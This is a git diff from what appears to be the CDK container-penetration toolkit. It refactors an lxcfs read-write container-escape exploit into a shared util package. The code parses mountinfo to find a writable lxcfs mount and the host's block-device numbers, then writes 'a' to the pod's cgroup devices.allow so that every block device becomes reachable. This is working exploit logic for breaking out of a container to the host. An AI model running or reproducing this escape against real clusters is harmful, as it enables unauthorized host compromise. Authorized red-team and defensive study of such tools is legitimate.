diff --git a/pkg/exploit/lxcfs_rw.go b/pkg/exploit/lxcfs_rw.go index 2d64f07..c7747ab 100644 --- a/pkg/exploit/lxcfs_rw.go +++ b/pkg/exploit/lxcfs_rw.go @@ -1,81 +1,22 @@ package exploit import ( - "bufio" - "fmt" "github.com/cdk-team/CDK/pkg/plugin" + "github.com/cdk-team/CDK/pkg/util" "io/ioutil" "log" "os" "path" - "strconv" "strings" "syscall" ) -const mountInfoPath string = "/proc/self/mountinfo" const cgroupDevicePath string = "/sys/fs/cgroup/devices" -const hostDeviceFlag string = "/etc/hosts" const devicesAllowName string = "devices.allow" const devicesListName string = "devices.list" -type mountInfo struct { - Device string - Fstype string - Root string - MountPoint string - Opts []string - Marjor string - Minor string -} - -func getMountInfo() ([]mountInfo, error) { - f, err := os.Open(mountInfoPath) - if err != nil { - return nil, err - } - defer f.Close() - - var ret []string - - r := bufio.NewReader(f) - for { - line, err := r.ReadString('\n') - if err != nil { - break - } - ret = append(ret, strings.Trim(line, "\n")) - } - // 2346 2345 0:261 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw - mountInfos := make([]mountInfo, len(ret)) - - for _, r := range ret { - parts := strings.Split(r, " - ") - if len(parts) != 2 { - return nil, fmt.Errorf("found invalid mountinfo line in file %s: %s ", mountInfoPath, r) - } - mi := mountInfo{} - fields := strings.Fields(parts[0]) - mi.Root = fields[3] - mi.MountPoint = fields[4] - mi.Opts = strings.Split(fields[5], ",") - blockId := strings.Split(fields[2], ":") - if len(blockId) != 2 { - return nil, fmt.Errorf("found invalid mountinfo line in file %s: %s ", mountInfoPath, r) - } - mi.Marjor = blockId[0] - mi.Minor = blockId[1] - fields = strings.Fields(parts[1]) - mi.Device = fields[1] - mi.Fstype = fields[0] - mountInfos = append(mountInfos, mi) - } - - return mountInfos, err -} - // find rw lxcfs -func findTargetMountPoint(mi *mountInfo) bool { +func findTargetMountPoint(mi *util.MountInfo) bool { if mi.Device == "lxcfs" { for _, opt := range mi.Opts { if opt == "rw" { @@ -88,7 +29,7 @@ func findTargetMountPoint(mi *mountInfo) bool { } // find pods cgroup devices path -func findDevicesAllowPath(mi *mountInfo) bool { +func findDevicesAllowPath(mi *util.MountInfo) bool { if mi.MountPoint == cgroupDevicePath { log.Printf("found pod devices.allow path: %s\n", mi.Root) return true @@ -96,36 +37,6 @@ func findDevicesAllowPath(mi *mountInfo) bool { return false } -// find block device id -func findTargetDeviceID(mi *mountInfo) bool { - if mi.MountPoint == hostDeviceFlag { - log.Printf("found host blockDeviceId Marjor: %s Minor: %s\n", mi.Marjor, mi.Minor) - return true - } - return false -} - -// set all block device accessible -func setBlockAccessible(path string) error { - f, err := os.OpenFile(path, os.O_WRONLY|os.O_SYNC, 0200) - if err != nil { - return fmt.Errorf("open devices.allow failed. %v\n", err) - } - defer f.Close() - - l, err := f.Write([]byte("a")) - if err != nil { - return fmt.Errorf("write devices.allow failed. %v\n", err) - } - - if l != 1 { - return fmt.Errorf("write \"a\" to devices.allow failed.\n") - } - log.Printf("set all block device accessible success.\n") - - return nil -} - func getDevicesAllow(path string) string { f, err := os.Open(path) if err != nil { @@ -143,21 +54,6 @@ func getDevicesAllow(path string) string { return string(b) } -func makeDev(major, minor string) int { - ret1, err := strconv.ParseInt(major, 10, 64) - if err != nil { - log.Printf("convert major number to int64 err: %v\n", err) - return 0 - } - ret2, err := strconv.ParseInt(minor, 10, 64) - if err != nil { - log.Printf("convert minor number to int64 err: %v\n", err) - return 0 - } - - return int(((ret1 & 0xfff) << 8) | (ret2 & 0xff) | ((ret1 &^ 0xfff) << 32) | ((ret2 & 0xfffff00) << 12)) -} - type lxcfsRWS struct {} func (l lxcfsRWS) Desc() string { @@ -170,7 +66,7 @@ func (l lxcfsRWS) Run() bool { var devicesAllowPath, devicesListPath string var deviceMarjor, deviceMinor string - mountInfos, err := getMountInfo() + mountInfos, err := util.GetMountInfo() if err != nil { log.Printf("%v", err) return false @@ -183,7 +79,7 @@ func (l lxcfsRWS) Run() bool { if findDevicesAllowPath(&mi) { podCgroupPath = mi.Root } - if findTargetDeviceID(&mi) { + if util.FindTargetDeviceID(&mi) { deviceMarjor = mi.Marjor deviceMinor = mi.Minor } @@ -192,7 +88,7 @@ func (l lxcfsRWS) Run() bool { devicesAllowPath = path.Join(targetMountPoint, "cgroup/devices", podCgroupPath, devicesAllowName) devicesListPath = path.Join(targetMountPoint, "cgroup/devices", podCgroupPath, devicesListName) - err = setBlockAccessible(devicesAllowPath) + err = util.SetBlockAccessible(devicesAllowPath) if err != nil { log.Printf("%v", err) return false @@ -200,7 +96,7 @@ func (l lxcfsRWS) Run() bool { devicesAllow := getDevicesAllow(devicesListPath) log.Printf("devices.allow content: %s", devicesAllow) if strings.Contains(devicesAllow, "a *:* rwm") { - dev := makeDev(deviceMarjor, deviceMinor) + dev := util.MakeDev(deviceMarjor, deviceMinor) if dev == 0 { log.Printf("Blockdevice Marjor/Minor number invalid.") return false diff --git a/pkg/util/cgroup.go b/pkg/util/cgroup.go new file mode 100644 index 0000000..6ed920e --- /dev/null +++ b/pkg/util/cgroup.go @@ -0,0 +1,115 @@ +package util + +import ( + "bufio" + "fmt" + "log" + "os" + "strconv" + "strings" +) + +const mountInfoPath string = "/proc/self/mountinfo" +const hostDeviceFlag string = "/etc/hosts" + +type MountInfo struct { + Device string + Fstype string + Root string + MountPoint string + Opts []string + Marjor string + Minor string +} + +// find block device id +func FindTargetDeviceID(mi *MountInfo) bool { + if mi.MountPoint == hostDeviceFlag { + log.Printf("found host blockDeviceId Marjor: %s Minor: %s\n", mi.Marjor, mi.Minor) + return true + } + return false +} + +func GetMountInfo() ([]MountInfo, error) { + f, err := os.Open(mountInfoPath) + if err != nil { + return nil, err + } + defer f.Close() + + var ret []string + + r := bufio.NewReader(f) + for { + line, err := r.ReadString('\n') + if err != nil { + break + } + ret = append(ret, strings.Trim(line, "\n")) + } + // 2346 2345 0:261 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw + mountInfos := make([]MountInfo, len(ret)) + + for _, r := range ret { + parts := strings.Split(r, " - ") + if len(parts) != 2 { + return nil, fmt.Errorf("found invalid mountinfo line in file %s: %s ", mountInfoPath, r) + } + mi := MountInfo{} + fields := strings.Fields(parts[0]) + mi.Root = fields[3] + mi.MountPoint = fields[4] + mi.Opts = strings.Split(fields[5], ",") + blockId := strings.Split(fields[2], ":") + if len(blockId) != 2 { + return nil, fmt.Errorf("found invalid mountinfo line in file %s: %s ", mountInfoPath, r) + } + mi.Marjor = blockId[0] + mi.Minor = blockId[1] + fields = strings.Fields(parts[1]) + mi.Device = fields[1] + mi.Fstype = fields[0] + mountInfos = append(mountInfos, mi) + } + + return mountInfos, err +} + +func MakeDev(major, minor string) int { + ret1, err := strconv.ParseInt(major, 10, 64) + if err != nil { + log.Printf("convert major number to int64 err: %v\n", err) + return 0 + } + ret2, err := strconv.ParseInt(minor, 10, 64) + if err != nil { + log.Printf("convert minor number to int64 err: %v\n", err) + return 0 + } + + return int(((ret1 & 0xfff) << 8) | (ret2 & 0xff) | ((ret1 &^ 0xfff) << 32) | ((ret2 & 0xfffff00) << 12)) +} + +// set all block device accessible +func SetBlockAccessible(path string) error { + f, err := os.OpenFile(path, os.O_WRONLY|os.O_SYNC, 0200) + if err != nil { + return fmt.Errorf("open devices.allow failed. %v\n", err) + } + defer f.Close() + + l, err := f.Write([]byte("a")) + if err != nil { + return fmt.Errorf("write devices.allow failed. %v\n", err) + } + + if l != 1 { + return fmt.Errorf("write \"a\" to devices.allow failed.\n") + } + log.Printf("set all block device accessible success.\n") + + return nil +} + +